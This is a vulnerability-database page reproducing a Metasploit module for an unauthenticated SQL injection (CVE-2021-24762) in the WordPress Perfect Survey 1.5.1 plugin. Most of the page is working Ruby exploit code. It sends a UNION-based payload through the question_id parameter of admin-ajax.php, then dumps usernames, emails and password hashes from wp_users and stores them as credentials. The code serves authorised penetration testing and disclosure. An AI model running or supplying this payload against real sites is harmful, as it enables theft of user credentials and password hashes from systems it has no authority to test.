Lucene search
K

WordPress Plugin Perfect Survey 1.5.1 SQLi (Unauthenticated)

🗓️ 10 Dec 2024 18:54:48Reported by Aaryan Golatkar, Ron JostType 
metasploit
 metasploit
🔗 www.rapid7.com👁 879 Views

Exploits SQL injection in WordPress Perfect Survey 1.5.1, accessing sensitive user data.

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::SQLi
  prepend Msf::Exploit::Remote::AutoCheck

  GET_SQLI_OBJECT_FAILED_ERROR_MSG = 'Unable to successfully retrieve an SQLi object'.freeze

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'WordPress Plugin Perfect Survey 1.5.1 SQLi (Unauthenticated)',
        'Description' => %q{
          This module exploits a SQL injection vulnerability in the Perfect Survey
          plugin for WordPress (version 1.5.1). An unauthenticated attacker can
          exploit the SQLi to retrieve sensitive information such as usernames,
          emails, and password hashes from the `wp_users` table.
        },
        'Author' => [
          'Aaryan Golatkar', # Metasploit Module Creator
          'Ron Jost'         # Vulnerability discovery
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['EDB', '50766'],
          ['CVE', '2021-24762']
        ],
        'DisclosureDate' => '2021-10-05',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [IOC_IN_LOGS],
          'Reliability' => []
        }
      )
    )

    register_options([
      OptString.new('TARGETURI', [true, 'Base path to the WordPress installation', '/']),
      Opt::RPORT(80) # Default port for HTTP
    ])
  end

  # Define SQLi object
  def get_sqli_object
    create_sqli(dbms: MySQLi::Common, opts: { hex_encode_strings: true }) do |payload|
      endpoint = normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php')
      sqli_payload = "1 union select 1,1,char(116,101,120,116),(#{payload}),0,0,0,null,null,null,null,null,null,null,null,null from wp_users"
      params = {
        'action' => 'get_question',
        'question_id' => sqli_payload
      }

      # Send HTTP GET request
      res = send_request_cgi({
        'uri' => endpoint,
        'method' => 'GET',
        'vars_get' => params
      })

      # Validate response
      next GET_SQLI_OBJECT_FAILED_ERROR_MSG unless res
      next GET_SQLI_OBJECT_FAILED_ERROR_MSG unless res.code == 200

      html_content = res.get_json_document['html']
      next GET_SQLI_OBJECT_FAILED_ERROR_MSG unless html_content

      # Extract data from response
      match_data = /survey_question_p">([^<]+)/.match(html_content)
      next GET_SQLI_OBJECT_FAILED_ERROR_MSG unless match_data

      extracted_data = match_data.captures[0]
      next GET_SQLI_OBJECT_FAILED_ERROR_MSG unless extracted_data

      extracted_data
    end
  end

  # Check method
  def check
    @sqli = get_sqli_object
    return Exploit::CheckCode::Unknown(GET_SQLI_OBJECT_FAILED_ERROR_MSG) if @sqli == GET_SQLI_OBJECT_FAILED_ERROR_MSG
    return Exploit::CheckCode::Vulnerable('SQL injection test succeeded') if @sqli.test_vulnerable

    Exploit::CheckCode::Safe('Perfect Survey plugin is not vulnerable to SQL injection')
  end

  # Run method
  def run
    # next line included for automatic inclusion into vulnerable plugins list
    # check_plugin_version_from_readme('perfect-survey', '1.5.2')
    print_status('Exploiting SQLi in Perfect Survey plugin...')
    @sqli ||= get_sqli_object
    fail_with(Failure::UnexpectedReply, GET_SQLI_OBJECT_FAILED_ERROR_MSG) if @sqli == GET_SQLI_OBJECT_FAILED_ERROR_MSG

    creds_table = Rex::Text::Table.new(
      'Header' => 'WordPress User Credentials',
      'Indent' => 1,
      'Columns' => ['Username', 'Email', 'Hash']
    )

    print_status("Extracting credential information\n")
    users = @sqli.dump_table_fields('wp_users', %w[user_login user_email user_pass])
    users.each do |(username, email, hash)|
      creds_table << [username, email, hash]
      create_credential({
        workspace_id: myworkspace_id,
        origin_type: :service,
        module_fullname: fullname,
        username: username,
        private_type: :nonreplayable_hash,
        jtr_format: Metasploit::Framework::Hashes.identify_hash(hash),
        private_data: hash,
        service_name: 'WordPress Perfect Survey Plugin',
        address: datastore['RHOSTS'],
        port: datastore['RPORT'],
        protocol: 'tcp',
        status: Metasploit::Model::Login::Status::UNTRIED,
        email: email
      })
    end
    print_line creds_table.to_s
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

12 Jun 2026 19:02Current
8.8High risk
Vulners AI Score8.8
CVSS 27.5
CVSS 3.19.8
EPSS0.85675
879